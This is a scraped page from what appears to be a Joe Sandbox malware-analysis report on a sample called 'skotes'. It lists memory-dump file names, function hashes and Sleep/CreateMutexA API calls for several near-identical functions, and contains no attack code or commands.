Associated: 00000004.00000002.2316321621.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316349454.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316468853.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316488144.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316508563.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316612973.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316631356.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316698630.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316716944.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316734579.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316856447.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316897995.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316922072.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316948303.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316968325.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316988334.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317008974.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317028964.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317049336.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317078364.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317098475.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317118286.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317137400.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317157860.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317177769.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317195533.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317216972.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317237390.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317257769.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317278477.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317298601.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317318907.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317339350.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317360861.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317385204.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317408823.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317489627.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317511839.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317532999.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317556310.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317577956.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317596151.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317619922.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317643116.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d487536caa7328fc9d1f7ba205a98f6dc8a74d2e781e3d944a8fe29dea77e7c1
Instruction ID: c64761b4b1fdfcc9a27d1ce98ce0ccb050a0f0ed688f59189e3ccc2790527c7e
Opcode Fuzzy Hash: d487536caa7328fc9d1f7ba205a98f6dc8a74d2e781e3d944a8fe29dea77e7c1
Instruction Fuzzy Hash: AD3146316852009BEB08DBBCDCC8BADB766EBC6314F24C61AE414E73D1C77A99908652

Function 009DA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000004.00000002.2316349454.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000004.00000002.2316321621.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316349454.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316468853.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316488144.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316508563.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316612973.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316631356.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316698630.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316716944.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316734579.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316856447.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316897995.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316922072.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316948303.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316968325.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316988334.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317008974.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317028964.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317049336.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317078364.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317098475.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317118286.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317137400.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317157860.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317177769.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317195533.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317216972.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317237390.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317257769.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317278477.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317298601.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317318907.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317339350.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317360861.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317385204.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317408823.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317489627.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317511839.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317532999.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317556310.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317577956.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317596151.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317619922.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317643116.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a0b4056573e3de6cc66fff2ccf4a1399136894fb1e352ca4168659e320defe25
Instruction ID: 50b15b960f572ae2ac6288c054085bcddb4a9b26d558a036665b9c0bb36969b3
Opcode Fuzzy Hash: a0b4056573e3de6cc66fff2ccf4a1399136894fb1e352ca4168659e320defe25
Instruction Fuzzy Hash: C6317D316851419BFB08DBBCDCC8B6DB766EBC6310F20C61AE414E73D1C77699908752

Function 009DA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000004.00000002.2316349454.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000004.00000002.2316321621.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316349454.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316468853.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316488144.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316508563.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316612973.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316631356.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316698630.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316716944.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316734579.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316856447.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316897995.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316922072.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316948303.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316968325.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316988334.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317008974.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317028964.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317049336.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317078364.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317098475.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317118286.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317137400.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317157860.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317177769.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317195533.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317216972.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317237390.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317257769.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317278477.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317298601.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317318907.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317339350.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317360861.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317385204.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317408823.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317489627.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317511839.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317532999.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317556310.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317577956.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317596151.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317619922.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317643116.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 03b31ad17a4e895aee437020cad9323815e3d6fbde6f7e7215a3064e90b94dee
Instruction ID: a24f2c2b6bf620a3f03643dc9048f70b23568da7f34201abd58276d082eb31d0
Opcode Fuzzy Hash: 03b31ad17a4e895aee437020cad9323815e3d6fbde6f7e7215a3064e90b94dee
Instruction Fuzzy Hash: BB3168316812009BEB08DBBCDDC9BADB766EFC2314F20861AF414E73E5C7B599908652

Function 009DA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000004.00000002.2316349454.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000004.00000002.2316321621.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316349454.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316468853.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316488144.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316508563.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316612973.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316631356.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316698630.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316716944.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316734579.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316856447.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316897995.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316922072.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316948303.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316968325.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316988334.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317008974.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317028964.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317049336.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317078364.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317098475.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317118286.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317137400.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317157860.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317177769.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317195533.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317216972.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317237390.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317257769.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317278477.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317298601.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317318907.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317339350.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317360861.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317385204.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317408823.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317489627.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317511839.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317532999.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317556310.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317577956.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317596151.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317619922.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317643116.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c34b0b2a01d66ba4ebc70e68e6167ba731914c0c7d495e02190842e6d1ba1b63
Instruction ID: 87aa0b6701c5508f5a17d7c8b60a17c4dc53cfc75c27b357e5eeae3db40f3ab4
Opcode Fuzzy Hash: c34b0b2a01d66ba4ebc70e68e6167ba731914c0c7d495e02190842e6d1ba1b63
Instruction Fuzzy Hash: 703127316851048BEB08DBBCECC9B6DB766EBC6318F24861AF414E73E1C77599908752

Function 009DA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000004.00000002.2316349454.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000004.00000002.2316321621.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316349454.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316468853.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316488144.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316508563.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316612973.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316631356.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316698630.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316716944.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316734579.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316856447.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316897995.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316922072.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316948303.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316968325.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316988334.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317008974.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317028964.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317049336.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317078364.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317098475.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317118286.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317137400.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317157860.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317177769.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317195533.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317216972.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317237390.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317257769.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317278477.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317298601.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317318907.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317339350.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317360861.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317385204.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317408823.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317489627.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317511839.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317532999.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317556310.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317577956.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317596151.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317619922.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317643116.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f83a8ff91f8905579ee5c6ae09919ea55da0fe695cc8fa9bf8153be5a8359a93
Instruction ID: 3c407bbe5f99f164ae87d49c4e9601d4796b3d55012a6e4eecf1071c6efeed99
Opcode Fuzzy Hash: f83a8ff91f8905579ee5c6ae09919ea55da0fe695cc8fa9bf8153be5a8359a93
Instruction Fuzzy Hash: F9314631A812008BEB08DBBCDC89B6DB766EBC2314F24C61AE414E73E1C77599908652

Function 009D9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

